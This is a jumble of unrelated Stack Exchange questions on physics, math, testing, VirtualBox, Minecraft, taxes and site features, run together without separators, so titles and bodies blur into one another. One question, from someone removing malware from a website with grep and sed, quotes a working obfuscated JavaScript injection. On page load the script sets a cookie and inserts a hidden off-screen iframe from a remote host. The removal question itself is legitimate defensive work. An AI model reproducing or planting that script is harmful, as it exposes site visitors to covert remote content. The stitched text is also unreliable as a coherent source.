Why is it NOT possible to "Follow" or "Friend" someone on Stack when it's a win-win-win for everyone?
A "friends list" on Stack Overflow would be nice
Derivation of $E=pc$ for a massless particle? In classical mechanics, massless particles don't exist because for $m=0$, $p=0$.  The relativistic relation between energy, mass and spatial momentum is: $E^2= (pc)^2 + (mc^2)^2$ . So it is said that setting $m=0$ in the first equation you get $E=pc$.  How could setting $m=0$ in that equation give you $E=pc$ whilst $p$ appears in the equation and we know $p=γmu$? If you set $m=0$ you will have indeterminacy due to "$γm$". It seems to me like we are doing a "trick" in order to get the $E=pc$. Perhaps there is another proof for this relation? How should I validate an e-mail address? I'm new to TDD and xUnit so I want to test my method that looks something like:   List&lt;T&gt; DeleteElements&lt;T&gt;(this List&lt;T&gt; a, List&lt;T&gt; b);   Is there any Assert method that I can use ? I think something like this would be nice  List&lt;int&gt; values = new List&lt;int&gt;() { 1, 2, 3 }; List&lt;int&gt; expected = new List&lt;int&gt;() { 1 }; List&lt;int&gt; actual = values.DeleteElements(new List&lt;int&gt;() { 2, 3 });  Assert.Exact(expected, actual);   Is there something like this ? This lock notice about collaborative effort is partly misleading is locked  with the following notice:     This question and answer are a collaborative effort: if you see something that can be improved, edit it!    Except that while the answer can be edited because it's a Community Wiki question, the question itself  can't be, because it's locked. I don't know the reason why it was locked, but maybe the notice's text should be changed or omitted? (I have no opinion on whether the question should stay locked or not.) Accessing Email logs using REST or SOQL In the simple harmonic oscillator model, we talk about the angular frequency and I understand that this tells something about the instantaneous angular velocity of the object. For example, a simple pendulum. But what does this mean when we apply this concept to an object attached to a spring that behaves as a simple harmonic oscillator? There is no instantaneous circular motion for the object, so how can we relate the angular frequency to a system like this? I understand monsters only spawn in a 9 x 9 grid of chunks centered on the player, and I assume they stay around while they remain within that distance of you. But do they despawn as soon as you move away from them? Or do they remain? If so what (if anything) causes them to despawn? Are the rules any different for passive mobs?  Will running far away from an area and then coming right back clear it of monsters? I get this message while trying to install Ubuntu 12.04 as a guest in VirutalBox 4.1.18, on an Ubuntu 10.04 host.         This kernel requires the following feature not present on the CPU: pae   Some host specs:     The host's kernel is: Linux 2.6.32-41-generic-pae GNU/Linux   lscpu (host): Architecture: i686, CPU op-mode(s): 32-bit, 64-bit   grep --color=always -i PAE /proc/cpuinfo   does show pae in its output.   The 12.04 iso used is: ubuntu-12.04.0-desktop-i386.iso      As a comparison/check, I downloaded and installed Linux Mint 13 Cinnamon to the same host on the exact same VM (I just changed the .iso image). It worked fine. Its iso is: linuxmint-13-cinnamon-dvd-32bit.iso   It seems (to me) that I have pae.. what is going on here?   Update: I had assumed that Linux Mint also required pae (being Ubuntu based), but I've just run;   grep --color=always -i PAE /proc/cpuinfo   in the Mint VM.   It showed no output.   So it seems the issue may lie with VirtualBox.   If that is the case, how can I get Virtualbox into pae mode? Let $f:X\to Y$ be a function and $E\subseteq X$ and $F\subseteq X$.   Show that in general $f(E − F)\nsubseteq f(E) − f(F)$.   I have no idea about how to prove this; and could anyone please explain the basic theory of functions(by relating to this question. Thank you. I have downloaded tar.gz files. But I don't know how to install it. How do I install this kind of file? I'm trying to remove malware code from a site using a script, I'm having trouble getting the regex right for the malware part.  What I want to do eventually is to use sed in order to find the malicious code and replace it. In my first attempt I tried to do something like this:  #fgrep -rl --exclude='*.sh' $SEARCH . | xargs sed -i 's/$SEARCH/$REPLACE/g'   Where SEARCH is:  SEARCH='/*236499a9e0b11c0dc3eecf5cf751a097*/ var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28 \x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D","\x65\x78\x65\x63","\x73\x70\x6C\x69\x74","\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65","\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73","\x64\x69\x76","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E \x74","\x68\x74\x74\x70\x3A\x2F\x2F\x73\x74\x61\x74\x69\x63\x2E\x73\x75\x63\x68\x6B\x61\x34\x36\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D","\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62 \x65\x34","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A \x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27","\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E","\x61\x70\x70\x65\x6E \x64\x43\x68\x69\x6C\x64","\x62\x6F\x64\x79"];window[_0xf19b[0]]=function(){function _0x10b1x1(_0x10b1x2,_0x10b1x3,_0x10b1x4){if(_0x10b1x4){var _0x10b1x5= new Date();_0x10b1x5[_0xf19b[2]](_0x10b1x5[_0xf19b[1]]()+_0x10b1x4);};if(_0x10b1x2&amp; &amp;_0x10b1x3){document[_0xf19b[3]]=_0x10b1x2+_0xf19b[4]+_0x10b1x3+(_0x10b1x4?_0xf19b[5]+_0x10b1x5[_0xf19b[6]]():_0xf19b[7])}else {return false};}function _0x10b1x6(_0x10b1x2){var _0x10b1x3= new RegExp(_0x10b1x2+_0xf19b[8]);var _0x10b1x4=_0x 10b1x3[_0xf19b[9]](document[_0xf19b[3]]);if(_0x10b1x4){_0x10b1x4=_0x10b1x4[0][_0xf19b[10]](_0xf19b[4])}else {return false};return _0x10b1x4[1]?_0x10b1x4[1]:false;}var _0x10b1x7=_0x10b1x6(_0xf19b[11]);if(_0x10b1x7!=_0xf19b[12]){_0x10b1x1(_ 0xf19b[11],_0xf19b[12],1);var _0x10b1x8=document[_0xf19b[14]](_0xf19b[13]);var _0x10b1x9=1380;var _0x10b1xa=_0xf19b[15]+_0x10b1x9+_0xf19b[16];_0x10b1x8[_0xf19b[17]]=_0xf19b[18]+_0x10b1xa+_0xf19b[19];document[_0xf19b[21]][_0xf19b[20]](_0x1 0b1x8);};}; /*236499a9e0b11c0dc3eecf5cf751a097*/'   and REPLACE:  REPLACE=''   I could not get the sed part to work, the grep works.  So now I'm thinking I could use regular expressions to accomplish this, So I don't have to use the whole string.  Here's the other code:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   This doesn't do anything.  This one does:  INFECTED='\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/.*'  grep -rl --exclude='*.sh' $INFECTED .   And this one too:  INFECTED='.*\/\*236499a9e0b11c0dc3eecf5cf751a097\*\/'  grep -rl --exclude='*.sh' $INFECTED .   I'm hoping to get the regex right in grep, and then apply it in sed. Any ideas on how accomplish the goal better ? Or what is wrong with this code ?  Thanks =) Finding my house in minecraft Why does the square root of a square involve the plus-minus sign? If $\sqrt{x^2}$ can be simplified as follows:  $\sqrt{x^2} = (x^2)^\frac{1}{2} = x^{\frac{2}{1}\times\frac{1}{2}} =x^\frac{2}{2} = x^1 = x$  Then why would $\sqrt{x^2} = \pm x$? We have two sequences , $(a_i)_{i=1}^{2n}$ and $(b_i)_{i=1}^{2n}$ such that  $1\leq a_i, b_i\leq n$ for every $i$.  Show that there are two sets of indexes $I, J \subseteq \left \{ 1,2, ... 2n \right \}$ such what $\sum_{i\in I}a_i=\sum_{j\in J}b_j$.  Well, the question didn't say anything about those sets being empty but I believe that's not what they meant. I don't know that to do with questions like these. There are obviously much more subsets that possible sums ($2^{2n}-1$ compared to $2n^2$) but it doesn't really help.  I'd be glad to hear ideas, hints or solutions. Has the Magical Community breached the Final Frontier? (aka Wizards in Space?) Have they? Given that Muggles put the first man in space in 1961, even by 1991 a lot of Muggleborns perfectly aware of the space-travel would have passed through Hogwarts and into the Ministry, even the Department of Mysteries (which seems to be a bit like their research division/Area 51 combo) And even leaving Muggle technology (which Wizards don't care for or about) aside, Humans have wondered about air travel to &quot;other worlds&quot; and meeting aliens from the time of the Ancient Greeks, surely some Witch or Wizard somewhere might have wondered if it really was possible to fly to the moon? So, is there any canon (aka Books + Pottermore + Rowling interviews) evidence of the Wizarding community having ever travelled or trying to travel to space / other planets or satellites? ETA: Note, I am also totally okay (and in fact would be eager for) historical &quot;Famous Wizard&quot; card-like tidbits from canon-sources.  AWESOME example (that I'm frankly not expecting): When the Muggles managed to land on the Moon, the Department of Mysteries had to scramble to hide the Silver-backed Moon Dragon conservatory they had been maintaining near the landing site. ALSO AWESOME example (that I am hoping for): Warlock Flibberti and Witch Tigget misused this earth-based spell and amusingly found themselves on the moon with their pet monkey instead! How to represent a list as a cycle Can a regular salaried (w2) employee opt to pay quarterly taxes? As a consultant, I got used to paying quarterly taxes. Now that I'm a regular w2 salaried employee, I'm subject to normal withholding on each pay statement. I would like to keep making exact quarterly payments instead of having a (generally incorrect) amount held back each paycheck.   I haven't been able to find any information on the 1040-es that would make me think I'm ineligible to do so, but I suspect that it may be the case. I'd have to stop paycheck withholdings by updating my w4 to either have a high number of exemptions or mark myself as exempt from taxes, which I assume is where the rub lies.   So, as a regular salaryman, is it possible for me to pay taxes exclusively through quarterly payments in lieu of traditional withholdings? Sudo not available in guest login How can I acknowledge, thank, or otherwise approve of an edit? Possible Duplicate:    Sometimes I get an edit that greatly improves a question or answer I have submitted.  I'd like to acknowledge an edit like this, so that readers can know that the revision was approved of by the OP (me!). I was thinking of comments on edit, or a checkbox noting that OP vouches for the edit.  Sometimes I would like to add a comment to the question or answer, but those don't make a lot of sense in that context. Any suggestions about the best way to do this?  Consider this a feature request, as it seems useful to know that a particular edit was endorsed/vetted by the OP. Full Wi-fi/ethernet signal but no internet